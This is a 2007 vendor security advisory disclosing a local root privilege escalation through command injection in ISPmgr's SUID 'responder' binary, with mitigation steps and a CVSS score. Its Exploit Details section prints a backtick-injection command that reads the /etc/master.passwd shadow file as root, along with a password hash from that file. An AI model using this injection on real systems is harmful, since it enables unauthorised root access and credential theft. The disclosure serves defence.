

SECURITY ADVISORY June 2007

ISPmgr local “root” privilege escalation



Table of Contents

Copyright and Disclaimer	2
The Security Research Team.....	2
Introduction & Advisory Summary	2
Screenshot of Affected Software	3
Status and Timeline	3
What software is affected?	3
Primary targets.....	3
Mitigation	3
Who can exploit this and where from?	4
What is the impact of exploitation?	4
CVSS Impact Scores.....	4
CVSS details - Base Metrics (Score: 7.0)	4
Exploit Details.....	4

Copyright and Disclaimer

The information in this advisory is Copyright 2006 FortConsult A/S. It is provided so that our customers and others understand the risk they may be facing by running affected software on their systems.

In case you wish to copy information from this advisory, you must either copy all of it or refer to this document.

No guarantee is provided for the accuracy of this information, or damage you may cause your systems in testing.

The Security Research Team

This advisory has been discovered by FortConsults Security Research Team/Andrew Christensen.

FortConsult is a specialist in technical services within the field of IT security. We are vulnerability experts that help business enterprises to protect themselves against the numerous security threats that exist today – both as impartial consultants and with responsibility for specific tasks. Our primary services are security tests and practically-oriented security consultancy.

For more information: www.fortconsult.net.

Introduction & Advisory Summary

Insecure programming techniques in one or more components that are installed as part of the “ispmgr” management utility will allow an attacker with local command access to increase their privileges to “root”.

ISPmgr is a utility that allows Internet Service Providers to manage webhosting, customers, email accounts and more using a web interface.

ISPmgr’s website can be found at: <http://ispsystem.com/en/index.html>

Screenshot of Affected Software

Welcome root (Server administrator) - demoprof37908.ispsystem.net

User management

Name	Owner	Preset	Properties	Disk	Bandwidth
about_ex	root		ON SSL	0/10	0/20
cool_siteadm	root		ON	0/5	0/20
demosite	root		ON COI	0/10	0/20
example	root		ON SSL	0/10	0/20
first-siteadm	root		ON COI SSI SSL	0/5	0/20
some-siteadm	root		ON SSI SSL	0/5	0/65

Total items - 6, Disk - 0/45, Bandwidth - 0/165

Status and Timeline

June 29th 2007 Initial issue discovery
August 1st 2007 Tentative public disclosure date

What software is affected?

Primary targets

This issue affects the locations where ISPmgr is installed. The test lab installation was made on FreeBSD, but Linux-based installations will also be affected.

Exploitation of this issue requires having the ability to execute commands as any user (for example, “nobody” or “www”) on a target site. This will sometimes be the case when ISPmgr is installed on a web hotel machine, and some of the web hotel customers have the ability to execute CGI or PHP scripts.

The vulnerable binary is installed as `/usr/local/ispmgr/sbin/responder`. It appears other SUID binaries installed as part of ISPmgr are also likely to contain severe security flaws.

ISPmgr Version 4.2.15.1 was tested. Older versions are believed vulnerable as well.

Mitigation

It is unclear why the vulnerable program is required to execute with root / SUID permissions. The most obvious solution, therefore, is simple:

```
# chmod u-s /usr/local/ispmgr/sbin/responder  
or, alternately:  
# rm /usr/local/ispmgr/sbin/responder
```

Who can exploit this and where from?

This can only be exploited locally, by users that already have at least some access to the machine.

What is the impact of exploitation?

The attacker will gain root privileges, and thereby be able to do things like installing keystroke loggers or backdoors, and gaining access to all other users' files.

CVSS Impact Scores

The following scores have been calculated using the online CVSS calculator at <http://www.patchadvisor.com/PatchAdvisor/CVSSCalculator.aspx>

CVSS details - Base Metrics (Score: 7.0)

Access Vector:	Local
Access complexity:	Low
Authentication:	Not required
Confidentiality Impact:	Complete
Integrity Impact:	Complete
Availability Impact:	Complete
Impact Bias:	Confidentiality

Exploit Details

The "responder" program can be exploited in several ways. The simplest is via simple backtick command execution. This will result in instant "root" privileges, and run the specified command as root.

The following example shows how the FreeBSD /etc/master.passwd shadow password file can be retrieved.¹

¹ One minor detail has been excluded from the exploit process shown. This detail should be simple for any security professional to discover, however it has been omitted to lower the threat from script kiddies.

```
$ echo test | /usr/local/ispmgr/sbin/responder /tmp/ `` cat /etc/master.passwd
1>&2 ` 2>&1
# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $
#
root:$1$5Vidvc1q$z/sfgMuiOC4tCDhdxuLFZ.:0:0::0:0:charlie
&:/root:/usr/local/bin/bash
toor:*:0:0::0:0:Bourne-again Superuser:/root:
cyrus:*:60:60::1182106800:0:the cyrus mail server:/nonexistent:/usr/sbin/nologin
dovecot:*:143:143::0:0:Dovecot User:/var/empty:/sbin/nologin
mysql:*:88:88::0:0:MySQL Daemon:/nonexistent:/sbin/nologin
<note password file contents shortened for space reasons>
sendmail: option requires an argument -- f
$
```

FORTCONSULT

Straight talk on IT security